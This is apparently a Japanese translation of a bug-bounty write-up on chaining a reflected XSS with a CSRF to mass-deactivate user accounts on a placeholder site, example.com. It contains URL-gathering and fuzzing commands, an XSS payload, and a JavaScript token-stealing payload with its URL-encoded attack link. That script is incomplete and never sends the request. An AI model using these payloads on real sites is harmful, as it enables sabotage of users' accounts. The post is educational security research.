Shikata Ga Nai

Private? There is no such things.

Chaining CSRF with XSS to deactivate Mass user accounts by single clickを訳してみた

Hello there, ('ω')ノ

 

CSRFとXSSを連携させて大量のユーザーアカウントを一度のクリックで無効化するを。

 

脆弱性

 

記事:

 https://notifybugme.medium.com/chaining-csrf-with-xss-to-deactivate-mass-user-accounts-by-single-click-b463c0d26587

 

 

今回は、CSRFバグとXSSを連携させて、アカウント無効化機能のCSRF保護を

バイパスすることで、大量のユーザアカウントを一度のクリックで

無効化する方法を。

 

悪用のために使用されたツール

1. Subfinder (https://github.com/projectdiscovery/subfinder)

2. httpx (https://github.com/projectdiscovery/httpx)

3. gau(Corben) — https://github.com/lc/gau

4. waybackurls(tomnomnom) — https://github.com/tomnomnom/waybackurls

5. qsreplace(tomnomnom) — https://github.com/tomnomnom/qsreplace

 

バグの背後にあるストーリー:

waybackurlsとgauを使用してインターネットアーカイブから

すべてのURLを収集して。

そこで、私はXSSの脆弱性を探し始め、反映型のXSSを1つ見つけ。

セッションクッキーを盗むことで影響を高めようと試みましたが、

サイトはhttp onlyを使用していたので、これはできず。

また、直接は悪用できないCSRFバグも見つけ。

これは、2つの異なるバグを組み合わせて大量のユーザアカウントを

無効化する方法についてのライトアップで。

 

例として、ターゲット名がexample.comで、以下のようにすべてが

スコープ内であると仮定して。

 

 スコープ内:

  *.example.com

 

インターネットアーカイブからすべてのURLを収集するために、

waybackurlsツールとgauを使用して。


 使用したコマンド:

  gau -subs example.com

  waybackurls example.com

 

しかし、URLを見逃す可能性がまだ存在するので、テストのために

一つもURLを見逃したくないという考えから、subfinderを使用して

waybackurlsにパイプし、存在するすべてのサブドメインのURLを

すべて取得してファイルに保存して。


最終的なコマンドは以下のようになり。

 gau -subs example.com >> vul1.txt

 waybackurls example.com >> vul2.txt

 subfinder -d example.com -silent | waybackurls >> vul3.txt

 

これで、すべてのURLを収集しましたので、次にすべてのURLを解決して

リストから死んでいるURLをフィルタリングし、パラメータを含むすべての

URLをフィルタリングし、さらに各パラメータに

単純なXSSペイロード「xsst<>」を追加してXSSの脆弱性をテストし。

そのためのコマンドは以下のようになって。

 

cat vul1.txt vuln2.txt vul3.txt | grep "=" | sort -u | grep "?" | qsreplace "xsst<>"| httpx -silent >> FUZZvul.txt

 

これで、パラメータを持つすべてのURLに単純なXSSペイロードを追加したら、

隠れたパラメータのテストのために「マジックパラメータスプレー」技術も

使用して。

反映型のXSSは隠れたパラメータでも見つかることがよくあるので、

隠れたパラメータのテストもワークフローに追加して。

 

反映型XSSをパラメータスプレー技術で見つけるために使用した

コマンド、および単純なXSSペイロードを追加して、

ペイロードが反映されているかどうかを確認するためのコマンドは

以下のようになり。

これにより、WAFまたはファイアウォールのバイパスのために

手動でテスト/ファズするためにリクエストをBurpにプロキシすることができ。

 

xargs -a /root/magicparameter/ssrf.txt -I@ bash -c 'for url in $(cat FUZZvul.txt); do echo "$url&@=xsst<>";done' | httpx -http-proxy http://127.0.0.1:8080

 

最終的に、JavaScriptに反映された単純なXSSペイロードを持つURLを

得ることができて。

 

https://www.example.com/customer/account.jsp?custom_query=xsst<>&review=xsst<>

 

最終的に、XSSペイロードはJavaScriptに反映されていたので、「

</script><img src=x onerror=alert(document.domain)>」というペイロードを

使用してXSSポップアップを取得し。

 

https://

www.example.com/customer/account.jsp?custom_query=xsst<>&review=</script><img src=x onerror=alert(document.domain)>

 

 

そこで、他の人が報告しているように、中程度のカテゴリのバグであり、

重複の可能性が高いことがわかったので、バグの影響を高めることにし。

しかし、より高いインパクトを示すことができれば、たとえそれが重複していても、

そのインパクトに対して報奨金を得ることができて。

 

そこで、Cookieを盗もうとしましたが、サイトはhttpのみを使用していたので

安全で。

xssをエスカレーションするために知っているすべてのことを試しましたが、

成功せず。


実際のChaining:

したがって、これをすべて行った後、xss の影響を高めることができなかったために

行き詰まりましたが、アプリを実行しているときに、

/account/user/deactivate に POST リクエストを発行する必要がある

CSRF バグに遭遇し。

ユーザ アカウントを非アクティブ化するためのユーザ アカウント関数

エンドポイントのユーザアカウントを非アクティブ化して。

 

ただし、token と呼ばれる非表示の入力には、CSRF 対策トークンが存在し。

これは、エクスプロイトでは、ユーザー アカウント ページをロードし、

CSRF トークンを抽出し、そのトークンを使用してユーザー アカウントを

非アクティブ化する必要があることを意味して。

 

つまり、それを直接悪用することはできず、ここで再び行き詰まり。

しかし今回は、CSRF を xss でチェーンしてはどうだろうかと考えて。

使用した CSRF ペイロードは次のとおりで。

 

<script>var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open(‘get’,’/account/user’,true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name=”csrf” value=”(\w+)”/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open(‘post’, ‘/account/user/deactivate’, true);
};
</script>

 

次に、CSRF を XSS でチェーンしてアカウントを非アクティブ化し。

以下はチェーンに使用される URL で。

 

https://www.example.com/customer/account.jsp?custom_query=xsst%3C%3E&review=%3C/script%3E%3Cscript%3Evar%20req%20=%20new%20XMLHttpRequest();req.onload%20=%20handleResponse;req.open(%27get%27,%27/account/user%27,true);req.send();function%20handleResponse(){var%20token%20=%20this.responseText.match(/name=%22csrf%22%20value=%22(\w+)%22/)[1];var%20changeReq%20=%20new%20XMLHttpRequest();changeReq.open(%27post%27,%20%27/account/user/deactivate%27,%20true);%3C/script%3E

 

そしてあなたのアカウントが無効化されたというメールを受け取って。

 

取り除く:

多くのセキュリティ研究者がすでにそのプロセスを目にしていると思いますが、

これは、CSRF バグを xss に連鎖させるアプローチの方法で。

CRSF バグは直接悪用できず、xss バグは単純に反映された xss だったので、

2 つの異なるバグを組み合わせることで、 リンクを送信するだけで

大量のユーザアカウントを無効化できて。

そのため、フィルタリング、ファイアウォール、または WAF を通過する場合は

決して停止しないで。

それらを回避する方法があり、常に重大度の低いバグを連鎖させて。

 

Best regards, (^^ゞ